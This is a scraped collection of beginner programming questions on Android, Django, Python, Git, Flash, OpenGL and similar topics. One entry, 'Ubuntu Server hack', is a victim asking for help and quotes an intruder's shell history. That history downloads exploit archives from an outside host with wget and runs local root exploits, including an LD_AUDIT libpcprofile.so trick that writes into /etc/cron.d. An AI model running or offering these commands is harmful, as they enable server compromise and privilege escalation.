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  • Android: Why my user Interface does not get drawn when I Inflate the resource layout file?

    - by Einiosaurus
    First of all, I'm a newbie on Android programming, so please be detailed in your answers. I have a layout main.xml file with format similar to <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:orientation = "vertical" android:layout_width = "fill_parent" android:layout_height = "fill_parent"> <LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:orientation = "horizontal"   android:layout_width = "fill_parent" android:layout_height = "fill_parent"> <EditText android:id="@+id/a" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <TextView android:id="@+id/xSquared" android:layout_width = "fill_parent" android:layout_height = "wrap_content" android:text = "@string/equationPart1" /> </LinearLayout> <LinearLayout ... </LinearLayout> </LinearLayout> In my Java source file, I inflate the UI using command: setContentView(R.layout.main); public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); } However, when I run the emulator, the UI does not show up like what I expect. Instead, it just display a simple EditText text box. I wonder what is going wrong. Is it because I put a layout inside another layout? I don't think there is any problem with that right?

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  • Is DB logging more secure than file logging for my PHP web app?

    - by iama
    I would like to log errors/informational and warning messages from within my web application to a log. I was initially thinking of logging all of these onto a text file. However, my PHP web app will need write access to the log files and the folder housing this log file may also need write access if log file rotation is desired which my web app currently does not have. The alternative is for me to log the messages to the MySQL database since my web app is already using the MySQL database for all its data storage needs. However, this got me thinking that going with the MySQL option is much better than the file option since I already have a configuration file with the database access information protected using file system permissions. If I now go with the log file option I need to tinker the file and folder access permissions and this will only make my application less secure and defeats the whole purpose of logging. Is this correct? I am using XAMPP for development and am a newbie to LAMP. Please let me know your recommendations for logging. Thanks.

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  • Install h5py in Mac OS X 10.6.3

    - by zyq524
    I'm trying to install h5py in Mac OS X 10.6.3. First I installed HDF5 1.8, which used the following commands: ./configure \ --prefix=/Library/Frameworks/Python.framework/Versions/Current \ --enable-shared \ --enable-production \ --enable-threadsafe \ CPPFLAGS=-I/Library/Frameworks/Python.framework/Versions/Current/include \ LDFLAGS=-L/Library/Frameworks/Python.framework/Versions/Current/lib make make check sudo make install Then install h5py: /Library/Frameworks/Python.framework/Versions/Current/bin/python \ setup.py \ build \ --api=18 \ --hdf5=/Library/Frameworks/Python.framework/Versions/Current Then I got the errors: Configure: Autodetecting HDF5 settings... Custom HDF5 dir: /Library/Frameworks/Python.framework/Versions/Current Custom API level: (1, 8) ld: warning: in detect/vers.o, file was built for unsupported file format which is not the architecture being linked (i386) ld: warning: in /Library/Frameworks/Python.framework/Versions/Current/lib/libhdf5.dylib, file was built for unsupported file format which is not the architecture being linked (i386) Undefined symbols: "_main", referenced from: start in crt1.10.5.o ld: symbol(s) not found collect2: ld returned 1 exit status Failed to compile HDF5 test program. Please check to make sure: * You have a C compiler installed * A development version of Python is installed (including header files) * A development version of HDF5 is installed (including header files) * If HDF5 is not in a default location, supply the argument --hdf5=<path> error: command 'cc' failed with exit status 1 I just updated my Xcode, I don't know whether this is because my gcc's default setting. If so, how can I get rid of this error? Thanks.

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  • Rails - Help scoring an online quiz in RoR

    - by ChrisWesAllen
    I'm trying to grade a quiz application I would like to make. I have a questions model with and ask(the actual question), 4 choices(a-d), and a correct answer(string). In the view I have the 4 question being diplayed then the correct answer choice (This is just a test for functionality) and then I created a text_field to accept the users answer choice and a button to refresh the index action which has the scoring logic, for now.. --Do I need to put the text_field within a form_tag? <p>1. <%= h @question.q1 %></p> <p>2. <%= h @question.q2 %></p> <p>3. <%= h @question.q3 %></p> <p>4. <%= h @question.q4 %></p> <p>Answer: <%= h @question.correct %></p> <%= text_field_tag :choice, params[:choice] %> <%= button_to "Grade", {:controller => 'site', :action => "index"} %> <p> <%= @answer %></p> Heres the index controller action def index @question = Question.find(1) if @question.correct == params[:choice] @answer = 'right' else @answer = 'wrong' end end Its not really working. The textfield is supposed to take a letter choice like 'a' or 'c' and compare it with the correct answer in the database. I would love this to work by radiobuttons, but I'm a newbie to rails so I thought I'd take baby steps. So if anyone can help me with how to fix this by string, or preferably by radiobuttons, I'd really appreciate it.

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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Django IntegrityError: foreign key violation upon delete

    - by Lukasz Korzybski
    I have Order and Shipment model. Shipment has a foreign key to Order. class Order(...): ... class Shipment() order = m.ForeignKey('Order') ... Now in one of my views I want do delete order object along with all related objects. So I invoke order.delete(). I have Django 1.0.4, PostgreSQL 8.4 and I use transaction middleware, so whole request is enclosed in single transaction. The problem is that upon order.delete() I get: ... File "/usr/local/lib/python2.6/dist-packages/django/db/backends/__init__.py", line 28, in _commit return self.connection.commit() IntegrityError: update or delete on table "main_order" violates foreign key constraint "main_shipment_order_id_fkey" on table "main_shipment" DETAIL: Key (id)=(45) is still referenced from table "main_shipment". I checked in connection.queries that proper queries are executed in proper order. First shipment is deleted, after that django executes delete on order row: {'time': '0.000', 'sql': 'DELETE FROM "main_shipment" WHERE "id" IN (17)'}, {'time': '0.000', 'sql': 'DELETE FROM "main_order" WHERE "id" IN (45)'} Foreign key have ON DELETE NO ACTION (default) and is initially deferred. I don't know why I get foreign key constraint violation. I also tried to register pre_delete signal and manually delete shipment objects before delete on order is called, but it resulted in the same error. I can change ON DELETE behaviour for this key in Postgres but it would be just a hack, I wonder if anyone has a better idea what's going on here. There is also a small detail, my Order model inherits from Cart model, so it actually doesn't have id field but cart_ptr_id and after DELETE on order is executed there is also DELETE on cart, but it seems unrelated? to the shipment-order problem so I simplified it in the example.

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  • How can I stop a movie (from current frame) playing when I click on next frame - FLASH CS4?

    - by ladygeekgeek
    I have four movie clips (.f4v) in 4 frames in a movie with watch buttons.. This movie has them been imported into a main movie container that has next and previous buttons. However if i play a movie then hit next frame, the movie continues to play in the background. How can I shop this? The code below shows one of the actionscripts for a movie clip and then the main actionscript in the main movie. I am a flash newbie, so all help appreciated. Many thanks. stop(); watch1_btn.addEventListener(MouseEvent.CLICK, playMovie1); function playMovie1(event:MouseEvent):void { movie1_mc.play(); } // Button Listeners next_btn.addEventListener(MouseEvent.CLICK, nextSection); prev_btn.addEventListener(MouseEvent.CLICK, prevSection); function nextSection(event:MouseEvent):void { var thisLabel:String = pages_mc.currentLabel; // gets current frame label as string var thisLabelNum:String = thisLabel.replace("sct", ""); // cuts the leading letters off of the number var curNumber:Number = Number(thisLabelNum); // converts that string number to a real number if (curNumber < 5) { var nextNum:Number = curNumber + 1; // adds 1 to the number so we can go to next frame label pages_mc.gotoAndStop("sct" + nextNum); // This allows us to go to the next frame label } } /////////////////////////////////////////////////////////////////////////// function prevSection(event:MouseEvent):void { var thisLabel:String = pages_mc.currentLabel; // gets current frame label as string var thisLabelNum:String = thisLabel.replace("sct", ""); // cuts the leading letters off of the number var curNumber:Number = Number(thisLabelNum); // converts that string number to a real number var prevNum:Number = curNumber - 1; // subtracts 1 from the number so we can go to next frame label pages_mc.gotoAndStop("sct" + prevNum); // This allows us to go to the previous frame label }

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  • How Can I Compress Texture in OpenGL on iPhone/iPad?

    - by nonamelive
    Hi, I'm making an iPad app which needs OpenGL to do a flip animation. I have a front image texture and a back image texture. Both the two textures are screenshots. // Capture an image of the screen UIGraphicsBeginImageContext(view.bounds.size); [view.layer renderInContext:UIGraphicsGetCurrentContext()]; image = UIGraphicsGetImageFromCurrentImageContext(); UIGraphicsEndImageContext(); // Allocate some memory for the texture GLubyte *textureData = (GLubyte*)calloc(maxTextureSize*4, maxTextureSize); // Create a drawing context to draw image into texture memory CGContextRef textureContext = CGBitmapContextCreate(textureData, maxTextureSize, maxTextureSize, 8, maxTextureSize*4, CGImageGetColorSpace(image.CGImage), kCGImageAlphaPremultipliedLast); CGContextDrawImage(textureContext, CGRectMake(0, maxTextureSize-size.height, size.width, size.height), image.CGImage); CGContextRelease(textureContext); // ...done creating the texture data [EAGLContext setCurrentContext:context]; glGenTextures(1, &textureToView); glBindTexture(GL_TEXTURE_2D, textureToView); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, maxTextureSize, maxTextureSize, 0, GL_RGBA, GL_UNSIGNED_BYTE, textureData); // free texture data which is by now copied into the GL context free(textureData); Each of the texture takes up about 8MB memory, which is unacceptable for an iPhone/iPad app. Could anyone tell me how can I compress the texture to reduce the memory. I'm a complete newbie to OpenGL. Any help would be appreciated!

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  • wsgi django not working

    - by MaKo
    im installing django, the test for wsgi is ok, but when i point my default file to the django test, it doesnt work, this is the test that works fine: default: /etc/apache2/sites-available/default <VirtualHost *:80> ServerName www.example.com ServerAlias example.com ServerAdmin [email protected] DocumentRoot /var/www <Directory /var/www/documents> Order allow,deny Allow from all </Directory> WSGIScriptAlias / /home/ubuntu/djangoProj/micopiloto/application.wsgi <Directory /home/ubuntu/djangoProj/mysitio/wsgi_handler.py> Order allow,deny Allow from all </Directory> </VirtualHost> application.wsgi:: ~/djangoProj/micopiloto import os import sys sys.path.append('/srv/www/cucus/application') os.environ['PYTHON_EGG_CACHE'] = '/srv/www/cucus/.python-egg' def application(environ, start_response): status = '200 OK' output = 'Hello World!MK SS9 tkt kkk' response_headers = [('Content-type', 'text/plain'), ('Content-Length', str(len(output)))] start_response(status, response_headers) return [output] but if I change the default to point to application_sa.wsgi the django test, it doesnt work :( application_sa.wsgi import os, sys sys.path.append('/home/ubuntu/djangoProj/micopiloto') os.environ['DJANGO_SETTINGS_MODULE'] = 'micopiloto.settings' import django.core.handlers.wsgi application = django.core.handlers.wsgi.WSGIHandler() I restart the apache server every time i change the wsgi to test, so what im i missing? thanks a lot!

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  • How to retrieve view of MultiIndex DataFrame

    - by Henry S. Harrison
    This question was inspired by this question. I had the same problem, updating a MultiIndex DataFrame by selection. The drop_level=False solution in Pandas 0.13 will allow me to achieve the same result, but I am still wondering why I cannot get a view from the MultiIndex DataFrame. In other words, why does this not work?: >>> sat = d.xs('sat', level='day', copy=False) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "C:\Python27\lib\site-packages\pandas\core\frame.py", line 2248, in xs raise ValueError('Cannot retrieve view (copy=False)') ValueError: Cannot retrieve view (copy=False) Of course it could be only because it is not implemented, but is there a reason? Is it somehow ambiguous or impossible to implement? Returning a view is more intuitive to me than returning a copy then later updating the original. I looked through the source and it seems this situation is checked explicitly to raise an error. Alternatively, is it possible to get the same sort of view from any of the other indexing methods? I've experimented but have not been successful. [edit] Some potential implementations are discussed here. I guess with the last question above I'm wondering what the current best solution is to index into arbitrary multiindex slices and cross-sections.

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  • Problem uploading app to google app engine

    - by Oberon
    I'm having problems uploading an app to the google-app-engine from my work place. I believe the problem is related to proxy, because I do not see the same problem when following the same procedure from home. (I do not specify HTTP_PROXY from home). These are the commands I run: HTTP_PROXY=http://proxy.<thehostname>.com:8080 HTTP_PROXY=https://proxy.<thehostname>.com:8080 appcfg.py --insecure update myappfolder When running the commands I get prompted for email and password, as expected, but after that it immediately exits with this errormessage: Error 302: --- begin server output --- <HTML> <HEAD> <TITLE>Moved Temporarily</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000"> <H1>Moved Temporarily</H1> The document has moved <A HREF="https://www.google.com/accounts/ClientLogin">here</A>. </BODY> </HTML> --- end server output --- Note: I added the --insecure option because else it gave a warning of missing ssl module. Any idea how to solve or workaround this problem?

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  • Is C++ (one of) the best language to learn at first

    - by AlexV
    C++ is one of the most used programming language in the world since like 25+ years. My first job as programmer was in C++ and I coded in C++ everyday for nearly 4 years. Now I do mostly PHP, but I will forever cherish this C++ background. C++ has helped me understand many "under the hood" features/behaviors/restrictions of many other (and different) programming languages like PHP and Delphi. I'm a full time programmer for 6+ years now and since I have a quite varied programming background I often get questions by "newbies" as where to start to become a "good" programmer. I think C++ is one of the best language to start with because it gives you a real usefull experience that will last and will teach you how things work under the hood. It's not the easier one to learn for a newbie, but in my opinion it's one that will reward in the long term. I would like to know your opinion on this matter to add to my arguments when I guide "newbies". After this introduction, here's my question : Is C++ (one of) the best language to learn at first for you. Since it's subjective, I've marked this question as community wiki. EDIT: This question is not about why Java (or C# or any other language) is better than C++ to start with, it's about what's make C++ a good choice or not a good choice to learn as one of your firsts languages. For example, for me C++ made me understand how the memory works. Now today in many languages everything is managed by the garbadge collector and some people don't even know that. I'm glad I know how it works underneath and I think it can help you to write better code.

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  • Can someone tell me why this JavaScript code isn't lining up an array in order?

    - by DarkLightA
    Live code: http://jsfiddle.net/fCUZC/ //INPUT ARRAY: var input = [28,32,21,11,8,2,14,32,64]; //VARIABLE DECLARATION. a = highest number so far, b = position of that number entireLoop: for (var i = 1; i<=input.length; i++) { if(input[i] > input[i-1]) { for(var o = i; o>=0; o--) { if(input[i-1] > input[o]) { input.splice(i,0,input[o]); input.splice((o+1),1); continue entireLoop; } else if(input[o] > input[0]) { input.splice(0,0,input[o]); input.splice((o+1),1); continue entireLoop; } } } } document.write(input); I'm trying to order the array from largest to smallest, but there's a 32 stuck somewhere. I know there's the sort method, but I'm a newbie and want to try this for myself.

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  • How to write this snippet in Python?

    - by morpheous
    I am learning Python (I have a C/C++ background). I need to write something practical in Python though, whilst learning. I have the following pseudocode (my first attempt at writing a Python script, since reading about Python yesterday). Hopefully, the snippet details the logic of what I want to do. BTW I am using python 2.6 on Ubuntu Karmic. Assume the script is invoked as: script_name.py directory_path import csv, sys, os, glob # Can I declare that the function accepts a dictionary as first arg? def getItemValue(item, key, defval) return !item.haskey(key) ? defval : item[key] dirname = sys.argv[1] # declare some default values here weight, is_male, default_city_id = 100, true, 1 # fetch some data from a database table into a nested dictionary, indexed by a string curr_dict = load_dict_from_db('foo') #iterate through all the files matching *.csv in the specified folder for infile in glob.glob( os.path.join(dirname, '*.csv') ): #get the file name (without the '.csv' extension) code = infile[0:-4] # open file, and iterate through the rows of the current file (a CSV file) f = open(infile, 'rt') try: reader = csv.reader(f) for row in reader: #lookup the id for the code in the dictionary id = curr_dict[code]['id'] name = row['name'] address1 = row['address1'] address2 = row['address2'] city_id = getItemValue(row, 'city_id', default_city_id) # insert row to database table finally: f.close() I have the following questions: Is the code written in a Pythonic enough way (is there a better way of implementing it)? Given a table with a schema like shown below, how may I write a Python function that fetches data from the table and returns is in a dictionary indexed by string (name). How can I insert the row data into the table (actually I would like to use a transaction if possible, and commit just before the file is closed) Table schema: create table demo (id int, name varchar(32), weight float, city_id int); BTW, my backend database is postgreSQL

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  • Escape whitespace in paths using nautilus script

    - by Tommy Brunn
    I didn't think this would be as tricky as it turned out to be, but here I am. I'm trying to write a Nautilus script in Python to upload one or more images to Imgur just by selecting and right clicking them. It works well enough with both single images and multiple images - as long as they don't contain any whitespace. In fact, you can upload a single image containing whitespace, just not multiple ones. The problem is that NAUTILUS_SCRIPT_SELECTED_FILE_PATHS returns all the selected files and directories as a space separated string. So for example, it could look like this: print os.environment['NAUTILUS_SCRIPT_SELECTED_FILE_PATHS'] /home/nevon/Desktop/test image.png /home/nevon/Desktop/test.jpg What I need is a way to -either in bash or Python- escape the spaces in the path - but not the spaces that delimit different items. Either that, or a way to put quotation marks around each item. The ultimate solution would be if I could do that in bash and then send the items as separate arguments to my python script. Something like: python uploader.py /home/nevon/Desktop/test\ image.png /home/nevon/Desktop/test.jpg I've tried RTFM'ing, but there doesn't seem to be a lot of good solutions for this. At least not that I've found. Any ideas?

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  • varargs in lambda functions in Python

    - by brain_damage
    Is it possible a lambda function to have variable number of arguments? For example, I want to write a metaclass, which creates a method for every method of some other class and this newly created method returns the opposite value of the original method and has the same number of arguments. And I want to do this with lambda function. How to pass the arguments? Is it possible? class Negate(type): def __new__(mcs, name, bases, _dict): extended_dict = _dict.copy() for (k, v) in _dict.items(): if hasattr(v, '__call__'): extended_dict["not_" + k] = lambda s, *args, **kw: not v(s, *args, **kw) return type.__new__(mcs, name, bases, extended_dict) class P(metaclass=Negate): def __init__(self, a): self.a = a def yes(self): return True def maybe(self, you_can_chose): return you_can_chose But the result is totally wrong: >>>p = P(0) >>>p.yes() True >>>p.not_yes() # should be False Traceback (most recent call last): File "<pyshell#150>", line 1, in <module> p.not_yes() File "C:\Users\Nona\Desktop\p10.py", line 51, in <lambda> extended_dict["not_" + k] = lambda s, *args, **kw: not v(s, *args, **kw) TypeError: __init__() takes exactly 2 positional arguments (1 given) >>>p.maybe(True) True >>>p.not_maybe(True) #should be False True

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  • Installing django on dreamhost (help a newb out)

    - by augustfirst
    I'm trying to get django running on my dreahost account. I've been trying to sort of use two tutorials at once: the one on the dreamhost wiki and the one in the django book. I installed django using the script on the wiki page, but I ran into trouble immediately while trying to work through the django book. It says: To start the server, change into your project directory (cd mysite), if you haven’t already, and run this command: python manage.py runserver This launches the server locally, on port 8000, accessible only to connections from your own computer. Now that it’s running, visit 127.0.0.1:8000 with your Web browser. You’ll see a “Welcome to Django” page shaded in a pleasant pastel blue. It worked! Those instructions seem to assume that you're developing locally, not on a shared server. Where the heck am I supposed to look for the "Welcome to Django" page after starting the server? In my webroot? No dice. Anyway, I tried to blunder ahead through the django book to its hello world tutorial (chapter 3). But once I've edited the view file and the URLconf, I don't get a nice clean "hello world" text. Instead (as you can see) I get an "import error". Any help would be greatly appreciated.

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  • Git from localhost to remotehost with a team of three

    - by Mark McDonnell
    Hi, I'm completely new to Git. I've only just worked out how to use Github in a basic way (e.g. push my local file changes to Github - so I've not done 'pulling' down of content from Github and 'merging' it into my localhost version or anything like that). I had a look over at this existing question - Git: localhost remote development remote production - but I think it may have been a bit advanced for me at this stage as I didn't quite understand the terminology that most of the people were using. What I would like to achieve is to have a local server set-up that my team of developers can all 'push' to/'pull' from etc. And then have that local server upload any updated files automatically to our web server so we could see the updates live in the browser. I'm happy to get a server set-up in the office running Mac OSX Server and then installing Git on it and then getting the devs to write a shell script to push to the remote server but only if it was fairly easy for the devs local git to push to this new local server. I'm not a network engineer so I don't know what would need to be set-up for that to work, I know obviously we could set-up the server to be accessible via a local ip address like 192.168.0.xxx but not sure how that works with pushing to a git repository on that server? Would that literally be something like doing this on my local machine: git remote add MyGitFile git://192.168.0.xxx/MyGitFile.git ? Any ideas or advice you can give to a total Git newbie trying to help his team get a better work flow. Kind regards, Mark

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  • How can I change the Python that my Django project is using?

    - by Burak
    I have 2 versions installed in my server. I used virtualenv to install Python 2.7. I am using WSGI to deploy my project. WSGIPythonPath /home/ENV/lib/python2.7/site-packages WSGIScriptAlias / /var/www/html/my_project/wsgi.py My http.conf is like that. python -V gives Python 2.7.3 But in my projects Debug window, it says Django is using 2.6.8. Where am I wrong? UPDATE: Here is my wsgi file import os import sys sys.path.append('/var/www/html') os.environ.setdefault("DJANGO_SETTINGS_MODULE", "myproject.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application() Python Version: 2.6.8 Python Path: ['/home/ENV/lib/python2.7/site-packages/setuptools-0.6c11-py2.7.egg', '/home/ENV/lib/python2.7/site-packages/pip-1.1-py2.7.egg', '/home/ENV/lib/python2.7/site-packages/Django-1.4-py2.7.egg', '/home/ENV/lib/python2.7/site-packages', '/usr/lib/python2.6/site-packages/pip-1.1-py2.6.egg', '/usr/lib/python2.6/site-packages/django_transmeta-0.6.7-py2.6.egg', '/usr/lib/python2.6/site-packages/ipython-0.13-py2.6.egg', '/usr/lib/python2.6/site-packages/virtualenv-1.7.2-py2.6.egg', '/usr/lib64/python26.zip', '/usr/lib64/python2.6', '/usr/lib64/python2.6/plat-linux2', '/usr/lib64/python2.6/lib-tk', '/usr/lib64/python2.6/lib-old', '/usr/lib64/python2.6/lib-dynload', '/usr/lib64/python2.6/site-packages', '/usr/lib64/python2.6/site-packages/gtk-2.0', '/usr/lib/python2.6/site-packages', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/var/www/html'] In my error_log of httpd: [Tue Jul 10 20:51:29 2012] [error] python_init: Python version mismatch, expected '2.6.7', found '2.6.8'. [Tue Jul 10 20:51:29 2012] [error] python_init: Python executable found '/usr/bin/python'. [Tue Jul 10 20:51:29 2012] [error] python_init: Python path being used '/usr/lib64/python26.zip:/usr/lib64/python2.6/:/usr/lib64/python2.6/plat-linux2:/usr/lib64/python2.6/lib-tk:/usr/lib64/python2.6/lib-old:/usr/lib64/python2.6/lib-dynload'.

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  • create dynamic navigation from xml file in flash cs3

    - by mjr
    action script newbie here :-) What I want to do is this, hand an xml file to a swf and have the swf generate a dynamic text box and button for each of the links in the xml file a rudimentary navigation here's the xml <?xml version="1.0" encoding="UTF-8"?> <page> <page name="Page Name 1" url="/page-1/" /> <page name="Page Name 2" url="/page-2/" /> <page name="Page Name 3" url="/page-3/" /> <page name="Page Name 4" url="/page-4/" /> </page> and in my fla I have a button in my library named 'nav_button' there's a layer named actions and in frame 1 I have this var xml:XML; var xmlList:XMLList; var xmlLoader:URLLoader = new URLLoader(); var button:Button = new Button(); xmlLoader.load(new URLRequest("links.xml")); xmlLoader.addEventListener(Event.COMPLETE, xmlLoaded); function xmlLoaded(event:Event):void { xml = XML(event.target.data); xmlList = xml.children(); trace(xml.length()); for(var i:int = 0; i < xmlList.length(); i++) { button = new Button(); button.x = 25; button.y = i * 50 +25; addChild(button); } } the xml imports fine, but when it comes to the for loop and adding the buttons and text boxes to the stage, I'm toast

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  • iOS Switching an embedded view in storyboard

    - by Coyote6
    I have been trying to figure this out all day and I know it should be able to be done, but being new to iOS development using Objective-C and not Appcelerator I'm having newbie issues. What I am trying to accomplish is to have an embedded view in one of my other views, but to be able to switch which view is embedded through programming. I am using storyboards. When I tried to use the view container it displays the attached view, but I cannot attach multiple views to the container in the storyboard. I drew up an image, but to my annoyance I cannot post an image on here because I don't have enough "rep" points, so I posted it on my site: http://static.c6gx.com/images/iphone-embedded-views-diagram.jpg Later on I would like what appears to be a push segue, within that view container, but first I just want to be able to switch between embedded view 1, 2, 3, etc. Am I supposed to be using a view container to accomplish this, or some other type of controller? Then how would I call the transition to change the view? Thank you for any help you can provide.

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  • RTTI Dynamic array TValue Delphi 2010

    - by user558126
    Hello I have a question. I am a newbie with Run Time Type Information from Delphi 2010. I need to set length to a dynamic array into a TValue. You can see the code. Type TMyArray = array of integer; TMyClass = class publihed function Do:TMyArray; end; function TMyClass.Do:TMyArray; begin SetLength(Result,5); for i:=0 to 4 Result[i]=3; end; ....... ....... ...... y:TValue; Param:array of TValue; ......... y=Methods[i].Invoke(Obj,Param);//delphi give me a DynArray type kind, is working, Param works to any functions. if Method[i].ReturnType.TypeKind = tkDynArray then//is working... begin I want to set length for y to 10000//i don't know how to write. end; I don't like Generics Collections.

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  • Python: Errors saving and loading objects with pickle module

    - by Peterstone
    Hi, I am trying to load and save objects with this piece of code I get it from a question I asked a week ago: Python: saving and loading objects and using pickle. The piece of code is this: class Fruits: pass banana = Fruits() banana.color = 'yellow' banana.value = 30 import pickle filehandler = open("Fruits.obj","wb") pickle.dump(banana,filehandler) filehandler.close() file = open("Fruits.obj",'rb') object_file = pickle.load(file) file.close() print(object_file.color, object_file.value, sep=', ') At a first glance the piece of code works well, getting load and see the 'color' and 'value' of the saved object. But, what I pursuit is to close a session, open a new one and load what I save in a past session. I close the session after putting the line filehandler.close() and I open a new one and I put the rest of your code, then after putting object_file = pickle.load(file) I get this error: Traceback (most recent call last): File "<pyshell#5>", line 1, in <module> object_file = pickle.load(file) File "C:\Python31\lib\pickle.py", line 1365, in load encoding=encoding, errors=errors).load() AttributeError: 'module' object has no attribute 'Fruits' Can anyone explain me what this error message means and telling me how to solve this problem? Thank so much and happy new year!!

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  • django: results in in_bulk style without IDs

    - by valya
    in django 1.1.1, Place.objects.in_bulk() does not work and Place.objects.in_bulk(range(1, 100)) works and returns a dictionary of Ints to Places with indexes - primary keys. How to avoid using range in this situation (and avoid using a special query for ids, I just want to get all objects in this dictionary format) >>> Place.objects.in_bulk() Traceback (most recent call last): File "<console>", line 1, in <module> File "/usr/lib/python2.5/site-packages/Django-1.1.1-py2.5.egg/django/db/models/manager.py", line 144, in in_bulk return self.get_query_set().in_bulk(*args, **kwargs) TypeError: in_bulk() takes exactly 2 arguments (1 given) >>> Place.objects.in_bulk(range(1, 100)) {1L: <Place: "??? ????">, 3L: <Place: "???????????? ?????">, 4L: <Place: "????????? "??????"">, 5L: <Place: "????????? "??????"">, 8L: <Place: "????????? "??????????????"">, 9L: <Place: "??????? ????????">, 10L: <Place: "????????? ???????">, 11L: <Place: "??????????????? ???">, 14L: <Place: "????? ????? ??????">}

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  • Mapkit +closest annotation

    - by danskcollignon
    Hi all, I am trying to devellopp an app showing the nearest poi to the users location. My app is now capable of: showing a map (Mapkit) with 110 annotations and the user's location. Furthermore, I have a TableView at the bottom of my screen, to choose between the different annotations. However, they're listed by number, and not by proximity to the user's location, which is my wish. My research have led me to think that I should use CLLocation for getting the user's location. I then have really no idea on how to do it next, using getDistancefrom. My annotations are stored on SecondViewController.m, using this form: -(void)loadOurAnnotations { CLLocationCoordinate2D workingCoordinate; workingCoordinate.latitude = XX.XXXXX; workingCoordinate.longitude = XX.XXXXX; SecondViewAnnotation *POI1 = [[SecondViewAnnotation alloc] initWithCoordinate:workingCoordinate]; [POI1 setTitle:@"POI"]; [POI1 setSubtitle:@"StreetName"]; [POI1 setAnnotationType:SecondViewAnnotationTypePOI1]; [mapView addAnnotation:POI1]; , and so on to POI110. Could someone please give me a clue? I'm a total newbie! Thank you in advance for your help,

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